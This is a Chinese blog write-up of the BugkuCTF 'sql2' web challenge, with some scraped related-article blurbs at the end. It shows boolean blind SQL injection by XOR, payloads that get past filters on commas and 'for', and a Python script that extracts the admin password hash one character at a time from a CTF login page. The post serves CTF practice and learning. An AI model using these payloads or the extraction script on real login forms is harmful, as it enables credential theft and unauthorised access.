bugkuctf web区 sql2
来了!终于做出来(虽然是在大佬帮助下,提前感谢大佬)
在看wp之后发现这是一道典型的.DS_Store源码泄露,其他类型的web源码泄露:https://www.secpulse.com/archives/55286.html
但是,这很明显是有另一种属于 sql注入 的解法。那么作为一个萌新,sql注入也是一个很重要的知识点,于是决定用注入解出问题。
先抓包。然后看看它都过滤了什么。
然后你跟我说,只有这些东西(长度367)没有被过滤??

心态崩了,但是可以确定,这绝对是盲注,那就没有什么好说的了,发现它有两种返回形式 username error! 和 password error!
那么就是基于布尔类型的盲注了。^和-没有过滤,可以试试异或注入。

思路:
异或注入中 id= 'admin'^(0)^'' 就相当于id=0 而 id='admin'^(1)^'' 就相当于id=1 所以我们可以在括号中放入我们需要注入的sql语句,从而实现判断对错。
成功用 payload=admin'^(length(passwd)=32)^' 获得这个密码的长度是32位(看来很可能是md5)。然后快乐下一步。
但是这个憨批东西把逗号给过滤了(缓缓打出一个问好)。不过还好,我们还有别的方法
substr((database())from(1)for(1)) 就相当于 substr(database(),1,1)
然后。。你把 for 都过滤了?(我可能不适合这个东西。)
然后看了大佬的wp后才发现竟然可以不要for(惊!)

字符串从第二位开始到最后。
然后用这个方法,再把字符串反向取一遍不就可以拿到每一位的字符了吗?
二话不说
写脚本(注意一下网址是login.php而并不是index.php,当初因为搞错网址卡了好久)
import requests
dict1 = 'abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890:_@,\{\}.'
url = 'http://123.206.87.240:8007/web2/login.php' #注意网址
uname = "admin'^(ascii(mid(REVERSE(substr((passwd)from(-{})))from(-1)))={})^'"
passwd = '123456'
req = requests.session()
cookie = {'PHPSESSID':'eae6uln265c9dm58f306g4d2sand7ea8'}
params = {'uname':uname,'passwd':passwd}
flag = ''
for k in range(32):
for i in range(72):
params = {'uname':uname.format(str(k),str(ord(dict1[i]))),'passwd':passwd}
ans = requests.post(url,params).text
if 'username' in ans:
print(dict1[i])
flag += dict1[i]
break
print(flag)
爆得md5

拿到md5解密网站上去看一下,拿到了密码

输入用户名密码。
进入

既然你都写出来了,那我就ls试一下,然后就拿到了flag

感谢大佬
参考wp:
https://blog.csdn.net/yiqiushi4748/article/details/93138238
https://blog.csdn.net/Langtuteng17/article/details/80779050
https://blog.csdn.net/Mikasa_/article/details/87475337
bugkuctf web区 sql2的更多相关文章
- bugkuctf web区 多次
首先看到以下url : 发现这是一个基于布尔类型的盲注. true: false: 根据这两种类型可以进行注入.废话不多说,直接进行尝试. 构造 url = index.php?id=1' or 1= ...
- BugkuCTF web基础$_POST
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF web基础$_GET
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- BugkuCTF WEB
web2 打开链接,一大堆表情 查看源代码 得到 flag 文件上传测试 打开链接 选择 1 个 jpg 文件进行上传,用 burp 抓包改包 将 php 改为 jpg,发包 得到 flag 计算器 ...
- GYCTF Web区部分WP
目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...
- BugkuCTF 你必须让他停下
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF SQL注入1
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF 域名解析
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
随机推荐
- C++ 基础 2:C++ 对 C 语言的拓展
1 引用 1.1 定义及编程实践 引用,是某个已存在变量的另一个名字. 一旦把引用初始化为某个变量,就可以使用该引用名称或变量名称来指向变量. 注意: 引用没有定义,是一种关系型声明.声明它和原有某一 ...
- CCPC 2020 长春站 部分简略题解
gym链接:CCPC 2020 changchun site A: 题目大意:商店里有若干个充值档位和首充奖励,你有\(n\)块钱问最多能拿到多少水. 解:由于档位不多可以直接枚举,整个二进制枚举一下 ...
- SQL:获取每个key下最新创建的记录
今天遇到了一个好玩的问题 问题: 有一个含有key和createdTime字段的表,表里存在很多不同的key值,每个key值下有很多记录. 我想要查出每个key下面cratedTime最大的记录,即每 ...
- dp背包 面试题 08.11. 硬币
https://leetcode-cn.com/problems/coin-lcci/ 硬币.给定数量不限的硬币,币值为25分.10分.5分和1分,编写代码计算n分有几种表示法.(结果可能会很大,你需 ...
- 1、线性DP 198. 打家劫舍
198. 打家劫舍 https://leetcode-cn.com/problems/house-robber/ //dp动态规划,dp[i] 状态表示0-i家的盗的得最大值.那么dp[i] = (d ...
- 异常记录-Dialog样式踩坑
好久没记录文档了,拖了老半个月,终于空下来时间,为了避免以后踩坑,必须记录记录. 背景: 为activity设置样式为弹窗activity 异常一: activity设置style后,布局不能够正常显 ...
- Ceph部署mon出现0.0.0.0地址
前言 最近在群里两次看到出现mon地址不对的问题,都是显示0.0.0.0:0地址,如下所示: [root@lab8106 ceph]# ceph -s cluster 3137d009-e41e-41 ...
- ubuntu服务器dns重启失效问题
方法一 通过/etc/network/interfaces,在它的最后增加一句: dns-nameservers 8.8.8.8 8.8.8.8是Google提供的DNS服务,这里只是举一个例子,你也 ...
- Java 实例化接口或抽象类
1. 实例化接口: 某一天,我们想通过反射调用一个类的方法,但发现方法参数中有一个接口,我们都知道接口不能被实例化,这该怎么办呢? 举例: public class TestLib { public ...
- xctf攻防世界——crackme writeup
感谢xctf提供学习平台 https://adworld.xctf.org.cn crackme有壳,脱壳部分见文章: https://www.cnblogs.com/hongren/p/126332 ...